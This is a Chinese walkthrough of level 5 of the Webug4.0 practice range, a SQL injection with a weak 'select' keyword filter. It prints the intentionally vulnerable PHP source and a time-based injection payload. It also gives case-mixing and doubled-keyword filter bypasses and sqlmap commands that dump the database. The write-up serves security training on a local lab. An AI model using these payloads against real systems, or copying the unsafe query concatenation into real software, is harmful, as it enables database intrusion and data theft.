当前位置: 首页 > article >正文

Webug4.0靶场通关笔记05- 第5关SQL注入之过滤关键字

目录

一、代码审计

1、源码分析

2、SQL注入分析

(1)大小写绕过

(2)双写绕过 

二、第05关 过滤型注入

1、进入靶场

2、sqlmap渗透

(1)bp抓包保存报文

(2)sqlmap渗透

(3)获取flag


本文通过《Webug4.0靶场通关笔记系列》来进行Webug4.0靶场的渗透实战,本文讲解Webug4.0靶场第5关过滤注入的渗透实战。

一、代码审计

1、源码分析

分析靶场源码,本关卡实现了一个带会话验证的 SQL 查询页面,经过详细注释后的代码如下所示。

<?php// 引入公共配置文件,包含数据库连接等基础功能
require_once "../../common/common.php";// 会话验证:检查用户是否已登录,未登录则重定向到登录页面
if (!isset($_SESSION['user'])) {header("Location:../login.php");
}/*** 示例SQL注入Payload:* '1' or if(1=1, sleep(3),1); --+* 此Payload利用条件判断执行延时,检测数据库响应*/
// 简单的黑名单过滤,尝试阻止包含"select"的恶意输入
$filter = array('select', 'SELECT');// 处理搜索表单提交
if (isset($_POST["keyWordName"])) {if (!empty($_POST["keyWordName"])) {// 黑名单过滤逻辑:检测到敏感词时弹出警告if (in_array($_POST['keyWordName'], $filter)) {echo "<script>alert('请不要尝试注入危险函数')</script>";} else{// 存在SQL注入风险的查询:直接将用户输入拼接到SQL语句中$sql = "SELECT * FROM sqlinjection WHERE content = '{$_POST["keyWordName"]}'";// 执行查询并处理错误,但错误信息泄露了SQL结构$res = $dbConnect->query($sql) or die("Invalid query: " . mysqli_stmt_error(). $sql);}}
}// 引入HTML模板文件,显示查询结果
require_once TPMELATE."/post-injection.html";

 webug4靶场的第5关卡实现了如下功能。

  • 首先验证用户会话,确保只有登录用户才能访问。
  • 定义了一个简单的黑名单,尝试阻止包含 "select" 的恶意输入。
  • 接收用户通过表单提交的搜索关键词。
  • 将用户输入直接拼接到 SQL 查询语句中执行。
  • 查询成功执行结果为res,失败则输出包含 SQL 的错误信息。
  • 最终通过模板文件呈现搜索结果页面。 

2、SQL注入分析

相对于第01关、第02关、第03关均为字符型注入,闭合方式为单引号, 只是http的方式有点变换,由GET方法变为了POST方法。下面是SQL相关调用的关键方法,如下所示:

SELECT * FROM sqlinjection WHERE content = '{$_POST["keyWordName"]}'

再看一下输出显示,根据源码可知与第01关相同,当SQL执行错误时会调用mysqli_stmt_error()函数,其余则是正常显示。另外,关于代码的过滤,通过源码可知源码中涉及到过滤SQL的关键字,共有两个,分别是select和SELECT两个关键字的过滤

$filter = array('select', 'SELECT');
if (isset($_POST["keyWordName"])) {if (!empty($_POST["keyWordName"])) {if (in_array($_POST['keyWordName'], $filter)) {echo "<script>alert('请不要尝试注入危险函数')</script>";}}
}
  • 第一层判断isset($_POST["keyWordName"])
    确保参数 keyWordName 存在,避免 $_POST 数组下标越界。
  • 第二层判断!empty($_POST["keyWordName"])
    过滤空值,只处理用户实际提交的内容。
  • 第三层判断in_array(...)
    使用 in_array 函数检测用户输入是否严格等于 $filter 中的某个元素(区分大小写)

不过这个in_array函数写的有问题,因in_array()函数是完全匹配,也就是说只有输入参数完全是select或者SELECT才可以弹框,其他情况不可以弹框。

in_array() 函数搜索数组中是否存在指定的值。
语法in_array(search,array,type)
参数:search 必需。规定要在数组搜索的值。
array 必需。规定要搜索的数组。

因为注入的时候,不可能参数只是select或者SELECT,所以这个过滤函数没有任何用,换言之这个写靶场的开发者对SQL注入部分的限制还是有点问题的。当然,对于真实过滤的关键字的场景,我们可以使用大小写或者双写绕过,实现对第5关卡的注入。

(1)大小写绕过

SeLeCt 1 FROM users --

(2)双写绕过 

sselectelect 1 from users

二、第05关 过滤型注入

1、进入靶场

开启bp抓包,打开靶场并在搜索框内填入1然后点击搜索,如下所示。

http://192.168.71.1/webug4/control/sqlinject/filter_injection.php

2、sqlmap渗透

(1)bp抓包保存报文

将报文保存为webug05.txt文件,如下所示。

其中webug05.txt内容如下所示。

POST /webug4/control/sqlinject/filter_injection.php?id=1 HTTP/1.1
Host: 192.168.59.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.59.1/webug4/control/sqlinject/filter_injection.php?id=1
Cookie: PHPSESSID=m0giifsk3g3t8p9p7j9g0klb42
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 40keyWordName=1

(2)sqlmap渗透

按照开发者的目的,猜测原本是希望使用sqlmap的绕waf脚本 randomcase.py,将随机大小写来绕过源码对select关键字的过滤

sqlmap -r webug05.txt --current-db --dump --batch --tamper randomcase.py

如下所示渗透成功,发现时间盲注点。

实际上本来不使用脚本也可注入成功,因为sqlmap会自动尝试编码绕过方法以渗透成功。更别提本关卡的过滤限制只是一个摆设而已,完全没有任何作用,故而渗透方法如下即可

sqlmap -r webug05.txt --current-db --dump --batch

(3)获取flag

根据如下可知,本关卡的flag为safsafasdfasdf。

相关文章:

Webug4.0靶场通关笔记05- 第5关SQL注入之过滤关键字

目录 一、代码审计 1、源码分析 2、SQL注入分析 &#xff08;1&#xff09;大小写绕过 &#xff08;2&#xff09;双写绕过 二、第05关 过滤型注入 1、进入靶场 2、sqlmap渗透 &#xff08;1&#xff09;bp抓包保存报文 &#xff08;2&#xff09;sqlmap渗透 &…...

ONLYOFFICE文档API:更强的安全功能

在数字化办公时代&#xff0c;文档的安全性与隐私保护已成为企业和个人用户的核心关切。如何确保信息在存储、传输及协作过程中的安全&#xff0c;是开发者与IT管理者亟需解决的问题。ONLYOFFICE作为一款功能强大的开源办公套件&#xff0c;不仅提供了高效的文档编辑与协作体验…...

深入浅出MQTT协议:从物联网基础到实战应用全解析

深入浅出MQTT协议&#xff1a;从物联网基础到实战应用全解析 作为一名在物联网领域摸爬滚打多年的老程序员&#xff0c;今天来和大家聊聊物联网通信中最核心的技术之一——MQTT协议。无论是Java后端开发还是嵌入式硬件开发&#xff0c;掌握MQTT都能让你在物联网项目中如鱼得水…...

解析楼宇自控系统:分布式结构的核心特点与优势展现

在建筑智能化发展的进程中&#xff0c;楼宇自控系统作为实现建筑高效运行与管理的关键&#xff0c;其系统结构的选择至关重要。传统的集中式楼宇自控系统在面对日益复杂的建筑环境和多样化的管理需求时&#xff0c;逐渐暴露出诸多弊端&#xff0c;如可靠性低、扩展性差、响应速…...

C#数字图像处理(三)

文章目录 前言1.图像平移1.1 图像平移定义1.2 图像平移编程实例 2.图像镜像2.1 图像镜像定义2.2 图像镜像编程实例 3.图像缩放3.1 图像缩放定义3.2 灰度插值法3.3 图像缩放编程实例 4.图像旋转4.1 图像旋转定义4.2 图像旋转编程实例 前言 在某种意义上来说&#xff0c;图像的几…...

STM32 智能小车项目 L298N 电机驱动模块

今天开始着手做智能小车的项目了 在智能小车或机器人项目中&#xff0c;我们经常会听到一个词叫 “H 桥电机驱动”&#xff0c;尤其是常见的 L298N 模块&#xff0c;就是基于“双 H 桥”原理设计的。那么&#xff0c;“H 桥”到底是什么&#xff1f;为什么要用“双 H 桥”来驱动…...

SQL Transactions(事务)、隔离机制

目录 Why Transactions? Example: Bad Interaction Transactions ACID Transactions COMMIT ROLLBACK How the Transaction Log Works How Data Is Stored Example: Interacting Processes Interleaving of Statements Example: Strange Interleaving Fixing the…...

【动画】unity中实现骨骼蒙皮动画

我是一名资深的游戏客户端&#xff0c;没事的时候我就想手搓轮子 本文目标 搓一个骨骼动画的核心实现&#xff0c;促进理解骨骼动画本质 骨骼动画简介 官方解释上网搜或者问豆包 快速理解 想知道骨骼动画怎么个事要先知道模型是怎么个事 简单来说&#xff1a;模型 顶点数…...

VSCODE的终端无法执行npm命令

问题原因&#xff1a;PowerShell 默认可能限制脚本执行。 解决方法&#xff1a; 在 PowerShell 中运行以下命令&#xff0c;查看当前策略&#xff1a; Get-ExecutionPolicy 如果结果是 Restricted&#xff0c;改为 RemoteSigned&#xff1a; Set-ExecutionPolicy RemoteSigne…...

Langchian - 自定义提示词模板 提取结构化的数据

场景:从自然语言中提取固定结构信息返回 例如:根据一段文字,提取文字中人的具体特征 马路上走来一个1米7的女生,她一头乌黑的长发披在肩上随风飘动,在她旁边的是她的男朋友,叫:刘山;比她高10厘米 如果想要提取上面这句话中人的身高及头发的颜色,并以固定的格式返回,…...

【机器学习基础】机器学习入门核心:Jaccard相似度 (Jaccard Index) 和 Pearson相似度 (Pearson Correlation)

机器学习入门核心&#xff1a;Jaccard相似度 &#xff08;Jaccard Index&#xff09; 和 Pearson相似度 &#xff08;Pearson Correlation&#xff09; 一、算法逻辑Jaccard相似度 (Jaccard Index)**Pearson相似度 (Pearson Correlation)** 二、算法原理与数学推导1. Jaccard相…...

QT之头像剪裁效果实现

文章目录 源码地址&#xff0c;环境&#xff1a;QT5.15&#xff0c;MinGW32位效果演示导入图片设置剪裁区域创建剪裁小窗口重写剪裁小窗口的鼠标事件mousePressEventmouseMoveEventmouseReleaseEvent 小窗口移动触发父窗口的重绘事件剪裁效果实现 源码地址&#xff0c;环境&…...

apptrace 视角下移动端深度链接技术与优势​

官网链接&#xff1a;AppTrace - 专业的移动应用推广追踪平台 App 拉起&#xff0c;本质上是移动端深度链接技术的具象化呈现。在这一领域&#xff0c;apptrace 凭借前沿技术与创新理念&#xff0c;实现从 H5 网页到 App 的无缝跳转&#xff0c;精准定位 App 内指定页面&#…...

微前端之micro-app数据通信

在这之前如果还没接触过微前端,可以找一些视频、资料先去了解一下,就不在这里赘述了。 现在常见的微前端框架包括: single-spa micro-app qiankun EMP 无界 目前了解到的基本上是这些哈,大家感兴趣可以自行去了解一下,看下它们之间的区别。 因为我目前使用的是mic…...

【GPT入门】第40课 vllm与ollama特性对比,与模型部署

【GPT入门】第40课 vllm与ollama特性对比&#xff0c;与模型部署 1.两种部署1.1 vllm与ollama特性对比2. vllm部署2.1 服务器准备2.1 下载模型2.2 提供模型服务 1.两种部署 1.1 vllm与ollama特性对比 2. vllm部署 2.1 服务器准备 在autodl 等大模型服务器提供商&#xff0c;…...

unity开发棋牌游戏

使用unity开发的棋牌游戏&#xff0c;目前包含麻将、斗地主、比鸡、牛牛四种玩法游戏。 相关技术 客户端&#xff1a;unity 热更新&#xff1a;xlua 服务器&#xff1a;c Web服务器&#xff1a;ruoyi 游戏视频 unity开发棋牌游戏 游戏截图...

Nat Commun项目文章 ▏小麦CUTTag助力解析转录因子TaTCP6调控小麦氮磷高效利用机制

今年2月份发表在《Nature Communications》&#xff08;IF14.4&#xff09;的“TaTCP6 is required for efficientand balanced utilization of nitrate and phosphorus in wheat”揭示了TaTCP6在小麦氮磷利用中的关键调控作用&#xff0c;为优化肥料利用和提高作物产量提供了理…...

Qt OpenGL 相机实现

在Qt中使用OpenGL实现相机功能主要涉及视图矩阵(view matrix)的操作&#xff0c;包括相机位置、观察方向和上向量等概念。下面我将介绍如何在Qt中实现一个基本的3D相机。 基本概念 OpenGL相机本质上是通过视图矩阵(view matrix)来实现的&#xff0c;它定义了从世界空间到观察…...

云原生时代 Kafka 深度实践:03进阶特性与最佳实践

3.1 数据可靠性与一致性 Producer 端可靠性策略 Kafka 通过acks参数控制消息确认机制&#xff0c;不同设置适用于不同场景&#xff1a; acks0&#xff1a;Producer 发送消息后不等待 Broker 确认&#xff0c;立即返回。这种模式吞吐量最高&#xff0c;但可能丢失消息&#x…...

基于关联表字段映射的批量数据更新 SQL 实现方案(AIGC)

UPDATE po_upfiles u JOIN po_micro m ON u.from_id = m.ent_id_old SET u.from_id = m.ent_id; 我的提问 批量更新po_upfiles数据中from_id=ent_id_old的数据中from_id为ent_id,语句怎么写“问题重新按照适合AI的逻辑进行提问,如何修改 精确版...

Hadoop复习(二)

部署Hadoop 考试不考部署&#xff0c;就复习选择和大题 问题 1 单项选择 2 / 2 分 下面哪个是MapReduce的核心配置文件 core-site.xml hdfs-site.xml yarn-site.xml mapred-site.xml 问题 2 单项选择 2 / 2 分 下面哪个是HDFS的核心配置文件 core-site.xml hdf…...

C 语言开发中常见的开发环境

目录 1.Dev-C 2.Visual Studio Code 3.虚拟机 Linux 环境 4.嵌入式 MCU 专用开发环境 1.Dev-C 使用集成的 C/C 开发环境&#xff08;适合基础学习&#xff09;,下载链接Dev-C下载 - 官方正版 - 极客应用 2.Visual Studio Code 结合 C/C 扩展 GCC/MinGW 编译器&#xff0c…...

vscode命令行debug

vscode命令行debug 一般命令行debug会在远程连服务器的时候用上&#xff0c;命令行debug的本质是在执行时暴露一个监听端口&#xff0c;通过进入这个端口&#xff0c;像本地调试一样进行。 这里提供两种方式&#xff1a; 直接在命令行中添加debugpy&#xff0c;适用于python…...

Matlab作图之 subplot

1. subplot(m, n, p) 将当前图形划分为m*n的网格&#xff0c;在 p 指定的位置创建坐标轴 matlab 按照行号对子图的位置进行编号 第一个子图是第一行第一列&#xff0c;第二个子图是第二行第二列......... 如果指定 p 位置存在坐标轴&#xff0c; 此命令会将已存在的坐标轴设…...

Springboot 项目一启动就获取HttpSession

在 Spring Boot 项目中&#xff0c;HttpSession 是有状态的&#xff0c;通常只有在用户发起 HTTP 请求并建立会话后才会创建。因此&#xff0c;在项目启动时&#xff08;即应用刚启动还未处理任何请求&#xff09;是无法获取到 HttpSession 的。 方法一&#xff1a;使用 HttpS…...

PostgreSQL的扩展 insert_username

PostgreSQL的扩展 insert_username insert_username 是 PostgreSQL 的一个实用扩展&#xff0c;用于自动记录数据行的创建者和最后修改者信息。这个扩展特别适合需要审计跟踪的应用场景。 一 扩展安装与启用 1.1 安装扩展 -- 使用超级用户安装 CREATE EXTENSION insert_use…...

【机器学习基础】机器学习入门核心算法:层次聚类算法(AGNES算法和 DIANA算法)

机器学习入门核心算法&#xff1a;层次聚类算法&#xff08;AGNES算法和 DIANA算法&#xff09; 一、算法逻辑二、算法原理与数学推导1. 距离度量2. 簇间距离计算&#xff08;连接标准&#xff09;3. 算法伪代码&#xff08;凝聚式&#xff09; 三、模型评估1. 内部评估指标2. …...

Google Play的最新安全变更可能会让一些高级用户无法使用App

喜欢Root或刷机的Android用户要注意了&#xff0c;Google最近全面启用了新版Play Integrity API&#xff0c;可能会导致部分用户面临无法使用某些App的窘境。Play Integrity API是Google提供给开发者的工具&#xff0c;用于验证App是否在“未修改”的设备上运行。 许多重要应用…...

深度学习篇---人脸识别中的face-recognition库和深度学习

深度学习方法和使用 Python 的face_recognition库进行人脸识别在技术原理、实现方式和应用场景上有显著区别&#xff0c;以下从多个维度对比分析&#xff1a; 一、技术原理 1. 深度学习方法 核心逻辑&#xff1a;基于神经网络&#xff08;如卷积神经网络 CNN&#xff09;构建…...

(11)java+ selenium->元素定位之By_tag_name

1.简介 继续WebDriver关于元素定位,这篇介绍By ClassName。tagName是DOM结构的一部分,其中页面上的每个元素都是通过输入标签,按钮标签或锚定标签等标签定义的。每个标签都具有多个属性,例如ID,名称,值类等。就其他定位符而言在Selenium中,我们使用了标签的这些属性值来…...